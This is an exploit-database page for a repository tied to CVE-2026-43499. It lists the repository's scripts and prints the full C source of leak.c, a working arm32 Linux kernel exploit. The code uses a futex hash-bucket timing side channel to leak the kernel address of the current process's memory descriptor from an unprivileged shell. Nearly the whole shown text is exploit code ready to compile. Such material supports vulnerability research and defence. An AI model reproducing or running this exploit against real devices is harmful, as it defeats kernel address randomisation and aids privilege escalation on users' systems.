Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
165 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files30
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- bin/
- boot_glB.sh
- boot_glB_vendor.sh
- collect.sh
- disasm_fw.sh
- disasm_gfk.sh
- env_check.sh
- extract_src.sh
- findsrc.sh
- futsym.sh
- gt_full.gdb
- gt_mm.gdb
- gt_probe.gdb
- gt_r13.gdb
- gt_readmm.gdb
- gt_readmm2.gdb
- gt_readmm3.gdb
- gt_readmm4.gdb
- gt_readmm5.gdb
- hold.c
- inspect_rootfs.sh
- leak.c
- pack_initramfs.sh
- run_stats.sh
- symscan.sh
- timing_probe.c
- tool_check.sh
- v_mmoff.gdb
- v_r13.gdb
- v_task.gdb
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
workspace/qemu/glB/leak.c
C · 7,102 bytes/* leak.c — arm32 kernel address disclosure via futex-hash-bucket timing channel.
* Ported from JoinChang KernelSnitch (ref_oneplus_aarch64). Adapted to:
* - arm32 (32-bit) lowmem window 0xC0000000 ..
* - futex_hashsize=1024 (mask 0x3ff), verified against vmlinux.clang
* - hash: jhash2(key, nwords=3, initval=addr&0xfff)
* w0=mm, w1=0, w2=addr&~0xfff ; init = 0xdeadbefb + off
* Self-check / fail-safe:
* - mm must be 512-aligned (kmalloc-512 slot)
* - must lie in a plausible lowmem window
* - R independent rounds must majority-agree (same 4KB page) else UNCONFIRMED.
* cross: arm-linux-gnueabihf-gcc -static -O2 -o leak leak.c -lpthread
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <pthread.h>
#include <time.h>
#include <sched.h>
/* ---------------- arm32 futex hash (verified) ---------------- */
static inline uint32_t rol32(uint32_t w, unsigned int s){
return (w << (s & 31)) | (w >> ((-s) & 31));
}
#define JH_INIT 0xdeadbeefu
#define HMASK 0x3ffu /* futex_hashsize=1024 */
static inline void jfinal(uint32_t *a, uint32_t *b, uint32_t *c){
uint32_t x=*a,y=*b,z=*c;
z^=y; z-=rol32(y,14);
x^=z; x-=rol32(z,11);
y^=x; y-=rol32(x,25);
z^=y; z-=rol32(y,16);
x^=z; x-=rol32(z,4);
y^=x; y-=rol32(x,14);
z^=y; z-=rol32(y,24);
*a=x;*b=y;*c=z;
}
static inline uint32_t futex_hash(uint32_t addr, uint32_t mm){
uint32_t off = addr & 0xfffu;
uint32_t page = addr & ~0xfffu;
uint32_t a,b,c;
a=b=c = JH_INIT + 12u + off; /* 0xdeadbefb + off */
c += page;
b += 0;
a += mm;
jfinal(&a,&b,&c);
return c & HMASK;
}
/* ---------------- futex / timing helpers ---------------- */
static int futex(void *uaddr, int op, int val){
return syscall(SYS_futex, uaddr, op, val, NULL, NULL, 0);
}
static uint64_t nsn(void){
struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts);
return (uint64_t)ts.tv_sec*1000000000ull + ts.tv_nsec;
}
/* ---------------- config ---------------- */
#define PILE_N 800 /* waiters piled on target bucket */
#define NSCAN 16000 /* candidate addresses scanned per round */
#define NREP 24 /* timing repeats per candidate */
#define COLLISIONS 6 /* need this many confirmed collisions */
#define THRESH_MULT 3 /* latency > baseline*THRESH_MULT => collision */
#define ROUNDS 4 /* independent rounds for majority vote */
/* lowmem scan window (QEMU -m768; mm ~0xea1c2200) */
#define WIN_LO 0xe0000000u
#define WIN_HI 0xf0000000u
#define SLOT 512u /* kmalloc-512 slot stride */
static volatile uint32_t *g_pile;
static void* waiter(void *a){(void)a; futex((void*)g_pile, FUTEX_WAIT_PRIVATE, 0); return 0;}
/* median wake latency of a candidate futex */
static uint64_t measure_lat(uint32_t addr){
uint64_t ts[NREP];
for(int i=0;i<NREP;i++){
sched_yield();
uint64_t t0=nsn();
futex((void*)(uintptr_t)addr, FUTEX_WAKE_PRIVATE, 0);
uint64_t t1=nsn();
ts[i]=t1-t0;
}
for(int i=0;i<NREP;i++)for(int j=i+1;j<NREP;j++) if(ts[j]<ts[i]){uint64_t t=ts[i];ts[i]=ts[j];ts[j]=t;}
return ts[NREP/2];
}
/* one round: find collisions, brute-force mm. returns mm or 0. */
static uint32_t round_leak(uint32_t target_addr, uint64_t baseline_ns,
uint32_t *coll_out, int *ncol){
uint64_t thresh = baseline_ns * THRESH_MULT;
int found=0;
/* scan candidates across a big mmap region */
uint32_t *region = mmap(NULL, 16u<<20, PROT_READ|PROT_WRITE,
MAP_ANON|MAP_PRIVATE, -1, 0);
if(region==MAP_FAILED){ fprintf(stderr,"mmap fail\n"); return 0; }
for(int i=2; i<NSCAN && found<COLLISIONS; i++){
/* vary page and offset for hash diversity */
uint32_t off = (uint32_t)((i*8) & 0xfff);
uint32_t addr = (uint32_t)(uintptr_t)®ion[(i & 0xfffff)] + off;
if(addr < 0x10000) continue;
uint64_t lat = measure_lat(addr);
if(lat > thresh){
coll_out[found++] = addr;
}
}
munmap(region, 16u<<20);
*ncol = found;
if(found < 2) return 0;
/* brute force mm algebraically */
uint32_t tgt_bucket = 0;
for(uint32_t mm=WIN_LO; mm<WIN_HI; mm+=SLOT){
uint32_t h0 = futex_hash(target_addr, mm);
int ok=1;
for(int i=0;i<found;i++){
if(futex_hash(coll_out[i], mm) != h0){ ok=0; break; }
}
if(ok){ return mm; }
}
return 0;
}
int main(){
/* drop to non-root to model unprivileged device shell */
if(getuid()==0){
setgid(65534); setuid(65534);
}
printf("[leak] uid=%d futex_hashsize=1024 mask=0x%x\n", getuid(), HMASK);
/* target futex in a dedicated page */
uint32_t *tpage = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_ANON|MAP_PRIVATE, -1, 0);
uint32_t target_addr = (uint32_t)(uintptr_t)&tpage[128];
tpage[128]=0;
printf("[leak] target futex addr=0x%x\n", target_addr);
/* baseline = empty-bucket wake latency (BEFORE piling) */
uint64_t baseline = measure_lat(target_addr);
printf("[leak] empty-baseline wake ns=%llu threshold=%llu\n",
(unsigned long long)baseline, (unsigned long long)(baseline*THRESH_MULT));
/* pile waiters with tiny stacks (arm32 1GB user space budget) */
pthread_attr_t attr; pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 16384);
pthread_t *th = calloc(PILE_N, sizeof(pthread_t));
g_pile = &tpage[128];
for(int i=0;i<PILE_N;i++) pthread_create(&th[i],&attr,waiter,0);
pthread_attr_destroy(&attr);
usleep(300000);
printf("[leak] piled %d waiters, scanning...\n", PILE_N);
uint32_t votes[ROUNDS]; int nv=0;
uint32_t coll[32];
for(int r=0;r<ROUNDS;r++){
int ncol=0;
uint32_t mm = round_leak(target_addr, baseline, coll, &ncol);
printf("[leak] round %d: collisions=%d mm=0x%x\n", r, ncol, mm);
if(mm) votes[nv++]=mm;
}
/* majority vote + self check */
printf("[leak] --- votes ---\n");
for(int i=0;i<nv;i++) printf(" 0x%x\n", votes[i]);
uint32_t best=0,bestcnt=0;
for(int i=0;i<nv;i++){
int c=0;
for(int j=0;j<nv;j++) if((votes[i] & ~0xfffu)==(votes[j] & ~0xfffu)) c++;
if(c>bestcnt){bestcnt=c;best=votes[i];}
}
int aligned = (best & 0x1ffu)==0;
int inwin = (best>=WIN_LO && best<WIN_HI);
int agree = bestcnt >= (nv+1)/2 && nv>=2;
printf("[leak] best=0x%x agree=%d/%d aligned=%d inwin=%d\n",
best, bestcnt, nv, aligned, inwin);
if(agree && aligned && inwin && best!=0){
printf("[CONFIRMED] current->mm ~= 0x%x\n", best);
} else {
printf("[UNCONFIRMED] aborting round (no trusted address)\n");
}
/* cleanup pile */
futex(&tpage[128], FUTEX_WAKE_PRIVATE, 0x7fffffff);
for(int i=0;i<PILE_N;i++) pthread_join(th[i],0);
printf("[leak] DONE\n");
return 0;
}